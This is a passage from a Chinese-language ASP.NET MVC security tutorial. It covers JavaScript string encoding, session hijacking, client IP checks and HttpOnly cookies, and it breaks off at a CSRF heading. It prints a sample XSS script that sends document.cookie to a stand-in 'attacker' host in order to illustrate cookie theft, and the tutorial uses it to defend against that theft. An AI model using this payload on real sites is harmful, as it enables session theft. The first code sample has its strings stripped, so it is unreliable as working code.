js脚本获取了一个用户发送给action方法的值并且使用这个值作为查询项,查询Google。Razor会自动编码用户提交的数据,这样执行非常好,可以阻止XSS攻击。但是如果用户提供的值有特殊字符,如我们查询".NET Apress",如下:
接着把.NET用双引号引起,如下:
javascript不能识别引号,而是用"代替了,这样返回的结果就会很奇怪。我们不能依靠HTML编码,并且不想在不安全的情况下呈现用户提供的数据。幸运的是,有一种替代的方式,尽管可能看起来不是那么优雅。Ajax辅助类有一个JavaScriptStringEncode方法,能够编码一个字符串让其安全的展示并且避开了特殊字符以至于javascript能够理解。修改Search视图里面的一行如下:
<script type=> $(function () { ) //var searchTerm = "@Model"; $.getJSON(, { q: searchTerm, v: }, function (searchResults) { $().children().remove(); $.each(searchResults.responseData.results, function () { $().append($().html(this.title)); }); } ); }); </script>
这时再测试下,效果如下:
达到了我要的效果。注意到,通过Ajax辅助类来生成的结果需要使用MvcHtmlString.Create或Html.Raw方法进行转换,如果不这样做,Razor仍然会对搜索项进行编码,结果回到了我们之前的状态。
Session劫持(Session Hijacking)
如果攻击者能够精心安排一个次成功的XSS攻击,那么接下来通常会控制用户的账户。常用的策略是Session劫持,也被成为cookie窃取。在浏览会话的过程中,ASP.NET通过一个session ID cookie(默认为ASP.NET_SessionId)的方式来识别用户身份。如果我们使用Forms验证,那么会使用第二个cookie(默认为.ASPXAUTH)。如果攻击者能够获取这些cookies,他们就能够在请求中包含这些信息发送到服务器,并模拟了一个我们的用户。这假定了第三方能够读取跟域名相关的cookies,因为现在的浏览器在阻止javascript跨站点访问cookie这方面已经做的非常好了,但是如果攻击者已经能够注入一段脚本到我们的页面,那么就会让浏览器以为这段脚本是我们程序的一部分并且授权它访问session cookies。如果这种情况发生,攻击者就很容易使用cookies跟我们的程序进行通话(phone home)了。如下:
<script>
var img = document.createElement("IMG");
img.src = "http://attacker/receiveData?cookies=" + encodeURI(document.cookie);
document.body.appendChild(img);
</script>
无论我们多么小心的避免XSS漏洞,也不能全部考虑到。所以需要添加额外的防护来抵御session劫持。
客户端IP检查(Defense via Client IP Address Checks)
如果在Session启动的时候记录每一个客户端的IP地址,这样就可以拒绝任何源头来自不同IP的请求,这对于我们减少session劫持有重大意义。使用这种方式会有一个问题:因为有时在一次会话过程中需要改变客户端IP,用户可能无意中从ISP的连接断开了并且会自动重新连接,这时会赋予一个不同的IP地址。或者是ISP可能是通过一套负载均衡的代理服务器来处理所有的HTTP传输,这样的话,每一个会话请求会显示来自不同的IP地址。所以这种方式非常有局限,只有在客户端IP不变的情况下使用。
在cookies上设置HttpOnly标志(Defense by Setting the HttpOnly Flag on Cookies)
在2002年,微软给IE添加了一个有价值的功能:HttpOnly cookie,从那以后这个功能成为了其他浏览器一个实际的标准。这个想法很简单:声明一个带HttpOnly标志的cookie,浏览器会隐藏它但是仍然会在所有的请求中继续发送。这样可以阻止前面提到的"phone home"XSS漏洞,同时又允许服务器对cookie的跟踪和验证。可以立一个简单的规则:除了在极少数情况下需要在客户端通过javascript访问cookie外,其他都标记为HttpOnly。ASP.NET会默认标记ASP.NET_SessionId和.ASPXAUTH为HttpOnly,这样Forms验证会得到很好的保护。可以这样使用cookie:
Response.Cookies.Add(new HttpCookie("MyCookie")
{
Value = "my value",
HttpOnly = true
});
当然这也不是防止cookie劫持的完全方法,因为我们可能在其他不注意的地方暴露cookie的内容。例如,如果我们有一个错误处理页,它展示了用来调试用的HTTP报头,那么XSS能够很容易的由响应页面促使一个错误并且读取cookie的值。
跨站请求伪造(Cross-Site Request Forgery)